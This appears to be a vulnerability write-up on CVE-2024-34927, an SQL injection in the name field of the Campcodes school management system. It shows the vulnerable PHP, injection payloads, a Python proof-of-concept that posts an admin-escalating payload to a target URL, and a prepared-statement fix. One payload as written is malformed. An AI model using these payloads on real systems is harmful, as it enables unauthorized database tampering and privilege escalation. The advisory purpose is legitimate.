CVE-2024-34927 is a critical SQL injection vulnerability found in the Campcodes Complete Web-Based School Management System version 1.. The flaw resides in the /model/update_classroom.php file and is triggered by improper handling of the name parameter, which allows attackers to inject and execute arbitrary SQL commands against the application's database.

In this post, we’ll break down how the vulnerability works, demonstrate the exploit, and share essential resources for mitigation and understanding.

What is SQL Injection?

SQL Injection is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. It's one of the oldest, most dangerous, and most common vulnerabilities for web applications. When user input is not properly sanitized and is inserted directly into a SQL statement, an attacker can insert malicious code to manipulate the query's logic.

Vulnerable Code in Campcodes Web-Based School Management System

The vulnerable code is found in /model/update_classroom.php. Here's a simplified snippet illustrating the vulnerable portion:

// Vulnerable code in update_classroom.php
if (isset($_POST['update'])) {
    $id = $_POST['id'];
    $name = $_POST['name'];

    // SQL query vulnerable to injection
    $sql = "UPDATE classroom SET name='$name' WHERE id='$id'";
    mysqli_query($conn, $sql);
}

Notice that the $name parameter from user input is directly included in the SQL statement without any sanitization or prepared statements. This allows an attacker to enter malicious SQL code via the name field that can modify the query's behavior.

Let’s say you have the following legitimate request to update a classroom name

POST /model/update_classroom.php
Content-Type: application/x-www-form-urlencoded

id=2&name=Math101

An attacker can exploit the vulnerability by submitting

id=2&name=Math101', teacher_id='1337'); --

This transforms the original SQL query to

UPDATE classroom SET name='Math101', teacher_id='1337'); -- ' WHERE id='2'

The -- sequence is a comment in SQL, effectively ignoring the rest of the statement. This can be further weaponized for data exfiltration, privilege escalation, or even full database compromise.

Proof of Concept (PoC) Exploit

Here's a simple Python script demonstrating how an attacker might exploit CVE-2024-34927 using the requests library.

import requests

target_url = "http://victim-site.com/model/update_classroom.php";
data = {
    "id": "2",
    "name": "attacked', admin='1' WHERE '1'='1"
}

response = requests.post(target_url, data=data)
if response.ok:
    print("[+] Exploit sent. Check if you have admin now!")
else:
    print("[-] Request failed.")

Note: Replace victim-site.com with the actual target. This script attempts to manipulate the admin field in the classroom table, assuming a column named admin exists. Attackers can adapt the payload for different objectives.

Real-World Impact

- Unauthorized Data Access: Attackers could extract, modify, or delete sensitive student or teacher records.
- Privilege Escalation: Malicious actors might grant themselves admin access or change classroom ownership.
- Database Compromise: Repeated exploitation could allow attackers to fully compromise the system's database.

Replace unsafe query building with prepared statements to sanitize input

$stmt = $conn->prepare("UPDATE classroom SET name=? WHERE id=?");
$stmt->bind_param("si", $name, $id);
$stmt->execute();

2. Input Validation

Always validate user input for type and length before processing.

3. Least Privilege Principle

Ensure the database user used by the web application only has the permissions absolutely required.

Resources & References

- Original CVE Record – CVE-2024-34927
- OWASP SQL Injection Guide
- Campcodes Product Page

Conclusion

CVE-2024-34927 is a serious vulnerability that can entirely compromise the security and integrity of the Campcodes Complete Web-Based School Management System 1.. If you use this software, you must patch your instance, sanitize all user input, and encourage best coding practices to mitigate SQLi risks.

Timeline

Published on: 05/23/2024 17:15:29 UTC
Last modified on: 07/03/2024 02:00:55 UTC